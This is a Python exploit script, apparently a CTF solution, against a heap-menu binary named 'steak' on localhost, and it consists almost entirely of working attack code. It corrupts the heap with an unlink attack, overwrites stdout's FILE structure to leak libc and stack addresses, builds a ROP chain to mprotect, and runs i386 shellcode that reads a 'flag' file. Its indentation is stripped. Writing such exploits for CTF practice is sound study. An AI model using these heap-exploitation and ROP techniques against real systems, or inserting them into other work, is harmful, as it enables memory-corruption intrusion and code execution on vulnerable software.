#!usr/bin/env python
# -*- coding:utf-8 -*-
#from libformatstr import *
from PwnContext.core import *
if __name__ == '__main__':
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
st = lambda delim,data :ctx.sendthen(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
debugg = 1
logg = 0
TEST_BIN = './steak'
TEST_LIB = '/lib/x86_64-linux-gnu/libc-2.23.so'
ctx.binary = TEST_BIN
ctx.remote_libc = TEST_LIB
ctx.debug_remote_libc = False # this is by default
ctx.remote = ("127.0.0.1",10086)
if debugg:
rs()
else:
rs(method = 'remote')
if logg:
context(log_level = "debug",os = "linux")
context.terminal = ["gnome-terminal","-x","sh","-c"]
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ctx.symbols = {'sym':0x400BDB,'node':0x6021A0,}
#ctx.debug()
bss_stdout = 0x602180
node = 0x6021A0
def add(size,content):
ru('>')
sl('1')
ru('size:')
sl(str(size))
ru('buf:')
s(content)
def delete(idx):
ru('>')
sl('2')
ru('index:')
sl(str(idx))
def edit(idx,size,content):
ru('>')
sl('3')
ru('index:')
sl(str(idx))
ru('size:')
sl(str(size))
ru('buf:')
s(content)
def copy(idx_src,idx_dst,length):
ru('>')
sl('4')
ru('source index:')
sl(str(idx_src))
ru('dest index:')
sl(str(idx_dst))
ru('length:')
sl(str(length))
add(0x80,'\x01')#0
add(0x80,'\x02')#1
add(0x80,'\x03')#2
payload = p64(0)+p64(0x81)+p64(node-0x18)+p64(node-0x10)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80)+p64(0x90)
edit(0,0x90,payload) #make fake chunk
delete(1)# trigger unlink , make node[0] point to node[0]-0x18
payload2 = "a"*0x18+p64(node)*2+p64(bss_stdout)+p64(0x602000)#node[0]/node[1] = node[0] , node[2]=bss_stdout , node[3]=bss_addr(prepared for the mprotect)
edit(0,0x38,payload2)
copy(2,1,8) # make node[0] point to bss_stdout.
#leak libc
payload3 = p64(0xfbad3887) + "\x00"*24 + "\x40"
edit(0,len(payload),payload3)
libc = uu64(ru('add')[1:9])
lg('libc',libc)
libc_base = libc - 0x3c5640
mprotect_addr = libc_base + ctx.libc.symbols['mprotect']
environ_addr = libc_base + ctx.libc.symbols['environ']
lg('libc_base',libc_base)
lg('mprotect_addr',mprotect_addr)
lg('environ_addr',environ_addr)
#leak stack
payload4 = p64(0xfbad3887) + "\x00"*24 + p64(environ_addr) + p64(environ_addr+0x10)
edit(0,len(payload4),payload4)
stack_addr = uu64(ru('add')[1:9])
lg('stack_addr',stack_addr)
pop_rdi = 0x400ca3
pop_rsi_r15 = 0x400ca1
pop_rdx = 0x1b92 + libc_base
lg('pop_rdx',pop_rdx)
#write shellcode in two ways.
x86_shellcode_1 = asm("mov eax, 0x5; mov ebx,0x602600; mov ecx,0; int 0x80; mov ebx,eax; mov eax,3; mov ecx,0x602700; mov edx,0x40; int 0x80; mov eax,4; mov ebx,1; mov ecx, 0x602700; mov edx,0x40; int 0x80",arch = 'i386',os = 'linux')
'''
x86_shellcode_2 = ""
x86_shellcode_2 += shellcraft.i386.syscall("SYS_open",0x602600,'O_RDONLY', 0)
x86_shellcode_2 += shellcraft.i386.syscall("SYS_read","eax",0x602700,0x40)
x86_shellcode_2 += shellcraft.i386.syscall("SYS_write",1,0x602700,0x40)
x86_shellcode_2 = asm(x86_shellcode_2,arch='i386',os='linux')
'''
ascii = [106, 1, 254, 12, 36, 104, 102, 108, 97, 103, 106, 5, 88, 187, 255, 217, 159, 255, 247, 211, 49, 201, 153, 205, 128, 137, 195, 106, 3, 88, 185, 255, 216, 159, 255, 247, 209, 106, 64, 90, 205, 128, 106, 4, 88, 106, 1, 91, 185, 255, 216, 159, 255, 247, 209, 106, 64, 90, 205, 128]
x86_shellcode_2 = ""
for i in range(len(ascii)):
x86_shellcode_2 += chr(ascii[i])
#write 'flag' on 0x602600
edit(1,8,p64(0x602600))
edit(0,4,'flag')
#write x86_shellcode_1/x86_shellcode_2 on 0x602500
edit(1,8,p64(0x602500))
edit(0,len(x86_shellcode_1),x86_shellcode_1) # or: edit(0,len(x86_shellcode_2),x86_shellcode_2) They all work.
#write payload on the stack.
libc_main_ret_stack_addr = stack_addr -0xf0
payload5 = p64(pop_rdi) + p64(0x602000) + p64(pop_rsi_r15) + p64(0x1000) + p64(0) + p64(pop_rdx) + p64(7) + p64(mprotect_addr) # mprotect(0x602000,0x1000,7)
payload5 += p64(0x602500) # ret to shellcode
edit(1,8,p64(libc_main_ret_stack_addr))
edit(0,len(payload5),payload5)
#ctx.debug()
#quit, and ret to shellcode.
ru('>')
sl('0')
irt()